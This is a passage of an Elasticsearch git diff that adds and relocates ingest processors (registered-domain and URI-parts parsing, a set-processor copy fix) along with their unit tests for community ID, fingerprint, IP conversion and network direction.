(SUFFIX_MATCHER.matches(fieldString)) { + return new DomainInfo(fieldString); + } + return null; + } + if (registeredDomain.indexOf(".") == -1) { + // we have domain with no matching public suffix, but "." in it + return null; + } + return new DomainInfo(registeredDomain, fieldString); + } + + @Override + public String getType() { + return TYPE; + } + + private class DomainInfo { + private final String domain; + private final String registeredDomain; + private final String eTLD; + private final String subdomain; + + private DomainInfo(String eTLD) { + this.domain = eTLD; + this.eTLD = eTLD; + this.registeredDomain = null; + this.subdomain = null; + } + + private DomainInfo(String registeredDomain, String domain) { + int index = registeredDomain.indexOf(".") + 1; + if (index > 0 && index < registeredDomain.length()) { + this.domain = domain; + this.eTLD = registeredDomain.substring(index); + this.registeredDomain = registeredDomain; + int subdomainIndex = domain.lastIndexOf("." + registeredDomain); + if (subdomainIndex > 0) { + this.subdomain = domain.substring(0, subdomainIndex); + } else { + this.subdomain = null; + } + } else { + this.domain = null; + this.eTLD = null; + this.registeredDomain = null; + this.subdomain = null; + } + } + + public String getDomain() { + return domain; + } + + public String getSubdomain() { + return subdomain; + } + + public String getRegisteredDomain() { + return registeredDomain; + } + + public String getETLD() { + return eTLD; + } + } + + public static final class Factory implements Processor.Factory { + + static final String DEFAULT_TARGET_FIELD = ""; + + @Override + public RegisteredDomainProcessor create( + Map registry, + String processorTag, + String description, + Map config + ) throws Exception { + String field = ConfigurationUtils.readStringProperty(TYPE, processorTag, config, "field"); + String targetField = ConfigurationUtils.readStringProperty(TYPE, processorTag, config, "target_field", DEFAULT_TARGET_FIELD); + boolean ignoreMissing = ConfigurationUtils.readBooleanProperty(TYPE, processorTag, config, "ignore_missing", true); + + return new RegisteredDomainProcessor( + processorTag, + description, + field, + targetField, + ignoreMissing + ); + } + } +} diff --git a/modules/ingest-common/src/main/java/org/elasticsearch/ingest/common/SetProcessor.java b/modules/ingest-common/src/main/java/org/elasticsearch/ingest/common/SetProcessor.java index ddd1151154ea4..b6a09162b32dd 100644 --- a/modules/ingest-common/src/main/java/org/elasticsearch/ingest/common/SetProcessor.java +++ b/modules/ingest-common/src/main/java/org/elasticsearch/ingest/common/SetProcessor.java @@ -74,7 +74,7 @@ public IngestDocument execute(IngestDocument document) { if (overrideEnabled || document.hasField(field) == false || document.getFieldValue(field, Object.class) == null) { if (copyFrom != null) { Object fieldValue = document.getFieldValue(copyFrom, Object.class, ignoreEmptyValue); - document.setFieldValue(field, fieldValue, ignoreEmptyValue); + document.setFieldValue(field, IngestDocument.deepCopy(fieldValue), ignoreEmptyValue); } else { document.setFieldValue(field, value, ignoreEmptyValue); } diff --git a/modules/ingest-common/src/main/java/org/elasticsearch/ingest/common/UriPartsProcessor.java b/modules/ingest-common/src/main/java/org/elasticsearch/ingest/common/UriPartsProcessor.java new file mode 100644 index 0000000000000..11204235822fb --- /dev/null +++ b/modules/ingest-common/src/main/java/org/elasticsearch/ingest/common/UriPartsProcessor.java @@ -0,0 +1,167 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.ingest.common; + +import org.elasticsearch.common.SuppressForbidden; +import org.elasticsearch.ingest.AbstractProcessor; +import org.elasticsearch.ingest.ConfigurationUtils; +import org.elasticsearch.ingest.IngestDocument; +import org.elasticsearch.ingest.Processor; + +import java.net.MalformedURLException; +import java.net.URI; +import java.net.URISyntaxException; +import java.net.URL; +import java.util.HashMap; +import java.util.Map; + +public class UriPartsProcessor extends AbstractProcessor { + + public static final String TYPE = "uri_parts"; + + private final String field; + private final String targetField; + private final boolean removeIfSuccessful; + private final boolean keepOriginal; + + UriPartsProcessor(String tag, String description, String field, String targetField, boolean removeIfSuccessful, boolean keepOriginal) { + super(tag, description); + this.field = field; + this.targetField = targetField; + this.removeIfSuccessful = removeIfSuccessful; + this.keepOriginal = keepOriginal; + } + + public String getField() { + return field; + } + + public String getTargetField() { + return targetField; + } + + public boolean getRemoveIfSuccessful() { + return removeIfSuccessful; + } + + public boolean getKeepOriginal() { + return keepOriginal; + } + + @Override + public IngestDocument execute(IngestDocument ingestDocument) throws Exception { + String value = ingestDocument.getFieldValue(field, String.class); + + URI uri = null; + URL url = null; + try { + uri = new URI(value); + } catch (URISyntaxException e) { + try { + url = new URL(value); + } catch (MalformedURLException e2) { + throw new IllegalArgumentException("unable to parse URI [" + value + "]"); + } + } + var uriParts = getUriParts(uri, url); + if (keepOriginal) { + uriParts.put("original", value); + } + + if (removeIfSuccessful && targetField.equals(field) == false) { + ingestDocument.removeField(field); + } + ingestDocument.setFieldValue(targetField, uriParts); + return ingestDocument; + } + + @SuppressForbidden(reason = "URL.getPath is used only if URI.getPath is unavailable") + private static Map getUriParts(URI uri, URL fallbackUrl) { + var uriParts = new HashMap(); + String domain; + String fragment; + String path; + int port; + String query; + String scheme; + String userInfo; + + if (uri != null) { + domain = uri.getHost(); + fragment = uri.getFragment(); + path = uri.getPath(); + port = uri.getPort(); + query = uri.getQuery(); + scheme = uri.getScheme(); + userInfo = uri.getUserInfo(); + } else if (fallbackUrl != null) { + domain = fallbackUrl.getHost(); + fragment = fallbackUrl.getRef(); + path = fallbackUrl.getPath(); + port = fallbackUrl.getPort(); + query = fallbackUrl.getQuery(); + scheme = fallbackUrl.getProtocol(); + userInfo = fallbackUrl.getUserInfo(); + } else { + // should never occur during processor execution + throw new IllegalArgumentException("at least one argument must be non-null"); + } + + uriParts.put("domain", domain); + if (fragment != null) { + uriParts.put("fragment", fragment); + } + if (path != null) { + uriParts.put("path", path); + if (path.contains(".")) { + int periodIndex = path.lastIndexOf('.'); + uriParts.put("extension", periodIndex < path.length() ? path.substring(periodIndex + 1) : ""); + } + } + if (port != -1) { + uriParts.put("port", port); + } + if (query != null) { + uriParts.put("query", query); + } + uriParts.put("scheme", scheme); + if (userInfo != null) { + uriParts.put("user_info", userInfo); + if (userInfo.contains(":")) { + int colonIndex = userInfo.indexOf(":"); + uriParts.put("username", userInfo.substring(0, colonIndex)); + uriParts.put("password", colonIndex < userInfo.length() ? userInfo.substring(colonIndex + 1) : ""); + } + } + + return uriParts; + } + + @Override + public String getType() { + return TYPE; + } + + public static final class Factory implements Processor.Factory { + + @Override + public UriPartsProcessor create( + Map registry, + String processorTag, + String description, + Map config + ) throws Exception { + String field = ConfigurationUtils.readStringProperty(TYPE, processorTag, config, "field"); + String targetField = ConfigurationUtils.readStringProperty(TYPE, processorTag, config, "target_field", "url"); + boolean removeIfSuccessful = ConfigurationUtils.readBooleanProperty(TYPE, processorTag, config, "remove_if_successful", false); + boolean keepOriginal = ConfigurationUtils.readBooleanProperty(TYPE, processorTag, config, "keep_original", true); + return new UriPartsProcessor(processorTag, description, field, targetField, removeIfSuccessful, keepOriginal); + } + } +} diff --git a/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/AbstractStringProcessorTestCase.java b/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/AbstractStringProcessorTestCase.java index 5d0d2ac1394bf..e1f2ecbdbdc45 100644 --- a/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/AbstractStringProcessorTestCase.java +++ b/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/AbstractStringProcessorTestCase.java @@ -127,12 +127,23 @@ public void testNonStringValueWithIgnoreMissing() throws Exception { } public void testTargetField() throws Exception { - IngestDocument ingestDocument = RandomDocumentPicks.randomIngestDocument(random(), Collections.emptyMap()); - String fieldValue = RandomDocumentPicks.randomString(random()); - String fieldName = RandomDocumentPicks.addRandomField(random(), ingestDocument, modifyInput(fieldValue)); + IngestDocument ingestDocument; + String fieldValue; + String fieldName; + boolean ignoreMissing; + do { + ingestDocument = RandomDocumentPicks.randomIngestDocument(random(), Collections.emptyMap()); + fieldValue = RandomDocumentPicks.randomString(random()); + fieldName = RandomDocumentPicks.addRandomField(random(), ingestDocument, modifyInput(fieldValue)); + ignoreMissing = randomBoolean(); + } while (isSupportedValue(ingestDocument.getFieldValue(fieldName, Object.class, ignoreMissing)) == false); String targetFieldName = fieldName + "foo"; - Processor processor = newProcessor(fieldName, randomBoolean(), targetFieldName); + Processor processor = newProcessor(fieldName, ignoreMissing, targetFieldName); processor.execute(ingestDocument); assertThat(ingestDocument.getFieldValue(targetFieldName, expectedResultType()), equalTo(expectedResult(fieldValue))); } + + protected boolean isSupportedValue(Object value) { + return true; + } } diff --git a/x-pack/plugin/ingest/src/test/java/org/elasticsearch/xpack/ingest/CommunityIdProcessorFactoryTests.java b/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/CommunityIdProcessorFactoryTests.java similarity index 83% rename from x-pack/plugin/ingest/src/test/java/org/elasticsearch/xpack/ingest/CommunityIdProcessorFactoryTests.java rename to modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/CommunityIdProcessorFactoryTests.java index 79b972777d5b9..3ded531131f33 100644 --- a/x-pack/plugin/ingest/src/test/java/org/elasticsearch/xpack/ingest/CommunityIdProcessorFactoryTests.java +++ b/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/CommunityIdProcessorFactoryTests.java @@ -1,11 +1,12 @@ /* * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. */ -package org.elasticsearch.xpack.ingest; +package org.elasticsearch.ingest.common; import org.elasticsearch.ElasticsearchException; import org.elasticsearch.test.ESTestCase; @@ -14,16 +15,16 @@ import java.util.HashMap; import java.util.Map; -import static org.elasticsearch.xpack.ingest.CommunityIdProcessor.Factory.DEFAULT_DEST_IP; -import static org.elasticsearch.xpack.ingest.CommunityIdProcessor.Factory.DEFAULT_DEST_PORT; -import static org.elasticsearch.xpack.ingest.CommunityIdProcessor.Factory.DEFAULT_IANA_NUMBER; -import static org.elasticsearch.xpack.ingest.CommunityIdProcessor.Factory.DEFAULT_ICMP_CODE; -import static org.elasticsearch.xpack.ingest.CommunityIdProcessor.Factory.DEFAULT_ICMP_TYPE; -import static org.elasticsearch.xpack.ingest.CommunityIdProcessor.Factory.DEFAULT_SOURCE_IP; -import static org.elasticsearch.xpack.ingest.CommunityIdProcessor.Factory.DEFAULT_SOURCE_PORT; -import static org.elasticsearch.xpack.ingest.CommunityIdProcessor.Factory.DEFAULT_TARGET; -import static org.elasticsearch.xpack.ingest.CommunityIdProcessor.Factory.DEFAULT_TRANSPORT; -import static org.elasticsearch.xpack.ingest.CommunityIdProcessor.toUint16; +import static org.elasticsearch.ingest.common.CommunityIdProcessor.Factory.DEFAULT_DEST_IP; +import static org.elasticsearch.ingest.common.CommunityIdProcessor.Factory.DEFAULT_DEST_PORT; +import static org.elasticsearch.ingest.common.CommunityIdProcessor.Factory.DEFAULT_IANA_NUMBER; +import static org.elasticsearch.ingest.common.CommunityIdProcessor.Factory.DEFAULT_ICMP_CODE; +import static org.elasticsearch.ingest.common.CommunityIdProcessor.Factory.DEFAULT_ICMP_TYPE; +import static org.elasticsearch.ingest.common.CommunityIdProcessor.Factory.DEFAULT_SOURCE_IP; +import static org.elasticsearch.ingest.common.CommunityIdProcessor.Factory.DEFAULT_SOURCE_PORT; +import static org.elasticsearch.ingest.common.CommunityIdProcessor.Factory.DEFAULT_TARGET; +import static org.elasticsearch.ingest.common.CommunityIdProcessor.Factory.DEFAULT_TRANSPORT; +import static org.elasticsearch.ingest.common.CommunityIdProcessor.toUint16; import static org.hamcrest.CoreMatchers.containsString; import static org.hamcrest.CoreMatchers.equalTo; diff --git a/x-pack/plugin/ingest/src/test/java/org/elasticsearch/xpack/ingest/CommunityIdProcessorTests.java b/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/CommunityIdProcessorTests.java similarity index 79% rename from x-pack/plugin/ingest/src/test/java/org/elasticsearch/xpack/ingest/CommunityIdProcessorTests.java rename to modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/CommunityIdProcessorTests.java index 8e25f7aec1a8a..77a1b0fb205ec 100644 --- a/x-pack/plugin/ingest/src/test/java/org/elasticsearch/xpack/ingest/CommunityIdProcessorTests.java +++ b/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/CommunityIdProcessorTests.java @@ -1,11 +1,12 @@ /* * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. */ -package org.elasticsearch.xpack.ingest; +package org.elasticsearch.ingest.common; import org.elasticsearch.ingest.IngestDocument; import org.elasticsearch.test.ESTestCase; @@ -16,15 +17,15 @@ import java.util.HashMap; import java.util.Map; -import static org.elasticsearch.xpack.ingest.CommunityIdProcessor.Factory.DEFAULT_DEST_IP; -import static org.elasticsearch.xpack.ingest.CommunityIdProcessor.Factory.DEFAULT_DEST_PORT; -import static org.elasticsearch.xpack.ingest.CommunityIdProcessor.Factory.DEFAULT_IANA_NUMBER; -import static org.elasticsearch.xpack.ingest.CommunityIdProcessor.Factory.DEFAULT_ICMP_CODE; -import static org.elasticsearch.xpack.ingest.CommunityIdProcessor.Factory.DEFAULT_ICMP_TYPE; -import static org.elasticsearch.xpack.ingest.CommunityIdProcessor.Factory.DEFAULT_SOURCE_IP; -import static org.elasticsearch.xpack.ingest.CommunityIdProcessor.Factory.DEFAULT_SOURCE_PORT; -import static org.elasticsearch.xpack.ingest.CommunityIdProcessor.Factory.DEFAULT_TARGET; -import static org.elasticsearch.xpack.ingest.CommunityIdProcessor.Factory.DEFAULT_TRANSPORT; +import static org.elasticsearch.ingest.common.CommunityIdProcessor.Factory.DEFAULT_DEST_IP; +import static org.elasticsearch.ingest.common.CommunityIdProcessor.Factory.DEFAULT_DEST_PORT; +import static org.elasticsearch.ingest.common.CommunityIdProcessor.Factory.DEFAULT_IANA_NUMBER; +import static org.elasticsearch.ingest.common.CommunityIdProcessor.Factory.DEFAULT_ICMP_CODE; +import static org.elasticsearch.ingest.common.CommunityIdProcessor.Factory.DEFAULT_ICMP_TYPE; +import static org.elasticsearch.ingest.common.CommunityIdProcessor.Factory.DEFAULT_SOURCE_IP; +import static org.elasticsearch.ingest.common.CommunityIdProcessor.Factory.DEFAULT_SOURCE_PORT; +import static org.elasticsearch.ingest.common.CommunityIdProcessor.Factory.DEFAULT_TARGET; +import static org.elasticsearch.ingest.common.CommunityIdProcessor.Factory.DEFAULT_TRANSPORT; import static org.hamcrest.Matchers.containsString; import static org.hamcrest.Matchers.equalTo; @@ -105,7 +106,8 @@ public void testBeatsInvalidDestinationPort() throws Exception { var destination = (Map) event.get("destination"); destination.put("port", null); IllegalArgumentException e = expectThrows(IllegalArgumentException.class, () -> testCommunityIdProcessor(event, null)); - assertThat(e.getMessage(), containsString("invalid destination port [0]")); + // slightly modified from the beats test in that this one reports the actual invalid value rather than '0' + assertThat(e.getMessage(), containsString("invalid destination port [null]")); } public void testBeatsUnknownProtocol() throws Exception { @@ -268,6 +270,52 @@ public void testStringAndNumber() throws Exception { testCommunityIdProcessor(event, "1:KF3iG9XD24nhlSy4r1TcYIr5mfE="); } + public void testLongsForNumericValues() throws Exception { + event = buildEvent(); + @SuppressWarnings("unchecked") + var source2 = (Map) event.get("source"); + source2.put("port", 34855L); + testCommunityIdProcessor(event, "1:LQU9qZlK+B5F3KDmev6m5PMibrg="); + } + + public void testFloatsForNumericValues() throws Exception { + event = buildEvent(); + @SuppressWarnings("unchecked") + var source2 = (Map) event.get("source"); + source2.put("port", 34855.0); + testCommunityIdProcessor(event, "1:LQU9qZlK+B5F3KDmev6m5PMibrg="); + } + + public void testInvalidPort() throws Exception { + event = buildEvent(); + @SuppressWarnings("unchecked") + var source = (Map) event.get("source"); + source.put("port", 0); + IllegalArgumentException e = expectThrows(IllegalArgumentException.class, () -> testCommunityIdProcessor(event, null)); + assertThat(e.getMessage(), containsString("invalid source port [0]")); + + event = buildEvent(); + @SuppressWarnings("unchecked") + var source2 = (Map) event.get("source"); + source2.put("port", 65536); + e = expectThrows(IllegalArgumentException.class, () -> testCommunityIdProcessor(event, null)); + assertThat(e.getMessage(), containsString("invalid source port [65536]")); + + event = buildEvent(); + @SuppressWarnings("unchecked") + var source3 = (Map) event.get("destination"); + source3.put("port", 0); + e = expectThrows(IllegalArgumentException.class, () -> testCommunityIdProcessor(event, null)); + assertThat(e.getMessage(), containsString("invalid destination port [0]")); + + event = buildEvent(); + @SuppressWarnings("unchecked") + var source4 = (Map) event.get("destination"); + source4.put("port", 65536); + e = expectThrows(IllegalArgumentException.class, () -> testCommunityIdProcessor(event, null)); + assertThat(e.getMessage(), containsString("invalid destination port [65536]")); + } + public void testIgnoreMissing() throws Exception { @SuppressWarnings("unchecked") var network = (Map) event.get("network"); diff --git a/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/ConvertProcessorTests.java b/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/ConvertProcessorTests.java index 10d1df1418110..8712b88d6438d 100644 --- a/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/ConvertProcessorTests.java +++ b/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/ConvertProcessorTests.java @@ -8,6 +8,11 @@ package org.elasticsearch.ingest.common; +import org.elasticsearch.ingest.IngestDocument; +import org.elasticsearch.ingest.Processor; +import org.elasticsearch.ingest.RandomDocumentPicks; +import org.elasticsearch.test.ESTestCase; + import java.util.ArrayList; import java.util.Collections; import java.util.HashMap; @@ -15,11 +20,6 @@ import java.util.Locale; import java.util.Map; -import org.elasticsearch.ingest.IngestDocument; -import org.elasticsearch.ingest.Processor; -import org.elasticsearch.ingest.RandomDocumentPicks; -import org.elasticsearch.test.ESTestCase; - import static org.elasticsearch.ingest.IngestDocumentMatcher.assertIngestDocument; import static org.elasticsearch.ingest.common.ConvertProcessor.Type; import static org.hamcrest.Matchers.containsString; @@ -307,6 +307,77 @@ public void testConvertBooleanError() throws Exception { } } + public void testConvertIpV4() throws Exception { + // valid ipv4 address + IngestDocument ingestDocument = RandomDocumentPicks.randomIngestDocument(random(), new HashMap<>()); + String fieldName = RandomDocumentPicks.randomFieldName(random()); + String targetField = randomValueOtherThan(fieldName, () -> RandomDocumentPicks.randomFieldName(random())); + String validIpV4 = "192.168.1.1"; + ingestDocument.setFieldValue(fieldName, validIpV4); + + Processor processor = new ConvertProcessor(randomAlphaOfLength(10), null, fieldName, targetField, Type.IP, false); + processor.execute(ingestDocument); + assertThat(ingestDocument.getFieldValue(targetField, String.class), equalTo(validIpV4)); + + // invalid ipv4 address + IngestDocument ingestDocument2 = RandomDocumentPicks.randomIngestDocument(random(), new HashMap<>()); + fieldName = RandomDocumentPicks.randomFieldName(random()); + targetField = randomValueOtherThan(fieldName, () -> RandomDocumentPicks.randomFieldName(random())); + String invalidIpV4 = "192.168.1.256"; + ingestDocument2.setFieldValue(fieldName, invalidIpV4); + + Processor processor2 = new ConvertProcessor(randomAlphaOfLength(10), null, fieldName, targetField, Type.IP, false); + IllegalArgumentException e = expectThrows(IllegalArgumentException.class, () -> processor2.execute(ingestDocument2)); + assertThat(e.getMessage(), containsString("'" + invalidIpV4 + "' is not an IP string literal.")); + } + + public void testConvertIpV6() throws Exception { + // valid ipv6 address + IngestDocument ingestDocument = RandomDocumentPicks.randomIngestDocument(random(), new HashMap<>()); + String fieldName = RandomDocumentPicks.randomFieldName(random()); + String targetField = randomValueOtherThan(fieldName, () -> RandomDocumentPicks.randomFieldName(random())); + String validIpV6 = "2001:db8:3333:4444:5555:6666:7777:8888"; + ingestDocument.setFieldValue(fieldName, validIpV6); + + Processor processor = new ConvertProcessor(randomAlphaOfLength(10), null, fieldName, targetField, Type.IP, false); + processor.execute(ingestDocument); + assertThat(ingestDocument.getFieldValue(targetField, String.class), equalTo(validIpV6)); + + // invalid ipv6 address + IngestDocument ingestDocument2 = RandomDocumentPicks.randomIngestDocument(random(), new HashMap<>()); + fieldName = RandomDocumentPicks.randomFieldName(random()); + targetField = randomValueOtherThan(fieldName, () -> RandomDocumentPicks.randomFieldName(random())); + String invalidIpV6 = "2001:db8:3333:4444:5555:6666:7777:88888"; + ingestDocument2.setFieldValue(fieldName, invalidIpV6); + + Processor processor2 = new ConvertProcessor(randomAlphaOfLength(10), null, fieldName, targetField, Type.IP, false); + IllegalArgumentException e = expectThrows(IllegalArgumentException.class, () -> processor2.execute(ingestDocument2)); + assertThat(e.getMessage(), containsString("'" + invalidIpV6 + "' is not an IP string literal.")); + } + + public void testConvertIpList() throws Exception { + IngestDocument ingestDocument = RandomDocumentPicks.randomIngestDocument(random()); + int numItems = randomIntBetween(1, 10); + List fieldValue = new ArrayList<>(); + List expectedList = new ArrayList<>(); + for (int j = 0; j < numItems; j++) { + String value; + if (randomBoolean()) { + // ipv4 value + value = "192.168.1." + randomIntBetween(0, 255); + } else { + // ipv6 value + value = "2001:db8:3333:4444:5555:6666:7777:" + Long.toString(randomLongBetween(0, 65535), 16); + } + fieldValue.add(value); + expectedList.add(value); + } + String fieldName = RandomDocumentPicks.addRandomField(random(), ingestDocument, fieldValue); + Processor processor = new ConvertProcessor(randomAlphaOfLength(10), null, fieldName, fieldName, Type.IP, false); + processor.execute(ingestDocument); + assertThat(ingestDocument.getFieldValue(fieldName, List.class), equalTo(expectedList)); + } + public void testConvertString() throws Exception { IngestDocument ingestDocument = RandomDocumentPicks.randomIngestDocument(random()); Object fieldValue; diff --git a/x-pack/plugin/ingest/src/test/java/org/elasticsearch/xpack/ingest/FingerprintProcessorFactoryTests.java b/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/FingerprintProcessorFactoryTests.java similarity index 96% rename from x-pack/plugin/ingest/src/test/java/org/elasticsearch/xpack/ingest/FingerprintProcessorFactoryTests.java rename to modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/FingerprintProcessorFactoryTests.java index b6c6e288125da..e7ec74520046a 100644 --- a/x-pack/plugin/ingest/src/test/java/org/elasticsearch/xpack/ingest/FingerprintProcessorFactoryTests.java +++ b/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/FingerprintProcessorFactoryTests.java @@ -1,11 +1,12 @@ /* * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. */ -package org.elasticsearch.xpack.ingest; +package org.elasticsearch.ingest.common; import org.elasticsearch.ElasticsearchException; import org.elasticsearch.test.ESTestCase; diff --git a/x-pack/plugin/ingest/src/test/java/org/elasticsearch/xpack/ingest/FingerprintProcessorTests.java b/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/FingerprintProcessorTests.java similarity index 97% rename from x-pack/plugin/ingest/src/test/java/org/elasticsearch/xpack/ingest/FingerprintProcessorTests.java rename to modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/FingerprintProcessorTests.java index a55387bd9fcda..94ffd7f04d3b4 100644 --- a/x-pack/plugin/ingest/src/test/java/org/elasticsearch/xpack/ingest/FingerprintProcessorTests.java +++ b/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/FingerprintProcessorTests.java @@ -1,11 +1,12 @@ /* * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. */ -package org.elasticsearch.xpack.ingest; +package org.elasticsearch.ingest.common; import org.elasticsearch.ingest.IngestDocument; import org.elasticsearch.test.ESTestCase; @@ -23,8 +24,8 @@ import java.util.List; import java.util.Map; -import static org.elasticsearch.xpack.ingest.FingerprintProcessor.DELIMITER; -import static org.elasticsearch.xpack.ingest.FingerprintProcessor.toBytes; +import static org.elasticsearch.ingest.common.FingerprintProcessor.DELIMITER; +import static org.elasticsearch.ingest.common.FingerprintProcessor.toBytes; import static org.hamcrest.Matchers.containsString; import static org.hamcrest.Matchers.equalTo; @@ -242,7 +243,8 @@ public void testMethod() throws Exception { "b+3QyaPYdnUF1lb5IKE+1g==", "SX/93t223OurJvgMUOCtSl9hcpg=", "zDQYTy34tBlmNedlDdn++N7NN+wBY15mCoPDINmUxXc=", - "xNIpYyJzRmg5R0T44ZORC2tgh8N4tVtTFzD5AdBqxmdOuRUjibQQ64lgefkbuZFl8Hv9ze9U6PAmrlgJPcRPGA==" + "xNIpYyJzRmg5R0T44ZORC2tgh8N4tVtTFzD5AdBqxmdOuRUjibQQ64lgefkbuZFl8Hv9ze9U6PAmrlgJPcRPGA==", + "yjfaOoy2UQ3EHZRAzFK9sw==" ); var inputMap = new LinkedHashMap(); diff --git a/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/NetworkDirectionProcessorFactoryTests.java b/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/NetworkDirectionProcessorFactoryTests.java new file mode 100644 index 0000000000000..47a12625eed5b --- /dev/null +++ b/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/NetworkDirectionProcessorFactoryTests.java @@ -0,0 +1,112 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.ingest.common; + +import org.elasticsearch.ElasticsearchParseException; +import org.elasticsearch.test.ESTestCase; +import org.elasticsearch.ingest.TestTemplateService; +import org.junit.Before; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.Collections; +import java.util.List; +import java.util.Map; + +import static org.elasticsearch.ingest.common.NetworkDirectionProcessor.Factory.DEFAULT_DEST_IP; +import static org.elasticsearch.ingest.common.NetworkDirectionProcessor.Factory.DEFAULT_SOURCE_IP; +import static org.elasticsearch.ingest.common.NetworkDirectionProcessor.Factory.DEFAULT_TARGET; +import static org.hamcrest.CoreMatchers.equalTo; +import static org.hamcrest.Matchers.greaterThan; + +public class NetworkDirectionProcessorFactoryTests extends ESTestCase { + + private NetworkDirectionProcessor.Factory factory; + + @Before + public void init() { + factory = new NetworkDirectionProcessor.Factory(TestTemplateService.instance()); + } + + public void testCreate() throws Exception { + Map config = new HashMap<>(); + + String sourceIpField = randomAlphaOfLength(6); + config.put("source_ip", sourceIpField); + String destIpField = randomAlphaOfLength(6); + config.put("destination_ip", destIpField); + String targetField = randomAlphaOfLength(6); + config.put("target_field", targetField); + List internalNetworks = new ArrayList<>(); + internalNetworks.add("10.0.0.0/8"); + config.put("internal_networks", internalNetworks); + boolean ignoreMissing = randomBoolean(); + config.put("ignore_missing", ignoreMissing); + + String processorTag = randomAlphaOfLength(10); + NetworkDirectionProcessor networkProcessor = factory.create(null, processorTag, null, config); + assertThat(networkProcessor.getTag(), equalTo(processorTag)); + assertThat(networkProcessor.getSourceIpField(), equalTo(sourceIpField)); + assertThat(networkProcessor.getDestinationIpField(), equalTo(destIpField)); + assertThat(networkProcessor.getTargetField(), equalTo(targetField)); + assertThat(networkProcessor.getInternalNetworks().size(), greaterThan(0)); + assertThat(networkProcessor.getInternalNetworks().get(0).newInstance(Collections.emptyMap()).execute(), equalTo("10.0.0.0/8")); + assertThat(networkProcessor.getIgnoreMissing(), equalTo(ignoreMissing)); + } + + public void testCreateInternalNetworksField() throws Exception { + Map config = new HashMap<>(); + + String sourceIpField = randomAlphaOfLength(6); + config.put("source_ip", sourceIpField); + String destIpField = randomAlphaOfLength(6); + config.put("destination_ip", destIpField); + String targetField = randomAlphaOfLength(6); + config.put("target_field", targetField); + String internalNetworksField = randomAlphaOfLength(6); + config.put("internal_networks_field", internalNetworksField); + boolean ignoreMissing = randomBoolean(); + config.put("ignore_missing", ignoreMissing); + + String processorTag = randomAlphaOfLength(10); + NetworkDirectionProcessor networkProcessor = factory.create(null, processorTag, null, config); + assertThat(networkProcessor.getTag(), equalTo(processorTag)); + assertThat(networkProcessor.getSourceIpField(), equalTo(sourceIpField)); + assertThat(networkProcessor.getDestinationIpField(), equalTo(destIpField)); + assertThat(networkProcessor.getTargetField(), equalTo(targetField)); + assertThat(networkProcessor.getInternalNetworksField(), equalTo(internalNetworksField)); + assertThat(networkProcessor.getIgnoreMissing(), equalTo(ignoreMissing)); + } + + public void testRequiredFields() throws Exception { + HashMap config = new HashMap<>(); + String processorTag = randomAlphaOfLength(10); + try { + factory.create(null, processorTag, null, config); + fail("factory create should have failed"); + } catch (ElasticsearchParseException e) { + assertThat(e.getMessage(), equalTo("[internal_networks] or [internal_networks_field] must be specified")); + } + } + + public void testDefaultFields() throws Exception { + HashMap config = new HashMap<>(); + String processorTag = randomAlphaOfLength(10); + List internalNetworks = new ArrayList<>(); + internalNetworks.add("10.0.0.0/8"); + config.put("internal_networks", internalNetworks); + + NetworkDirectionProcessor networkProcessor = factory.create(null, processorTag, null, config); + assertThat(networkProcessor.getTag(), equalTo(processorTag)); + assertThat(networkProcessor.getSourceIpField(), equalTo(DEFAULT_SOURCE_IP)); + assertThat(networkProcessor.getDestinationIpField(), equalTo(DEFAULT_DEST_IP)); + assertThat(networkProcessor.getTargetField(), equalTo(DEFAULT_TARGET)); + 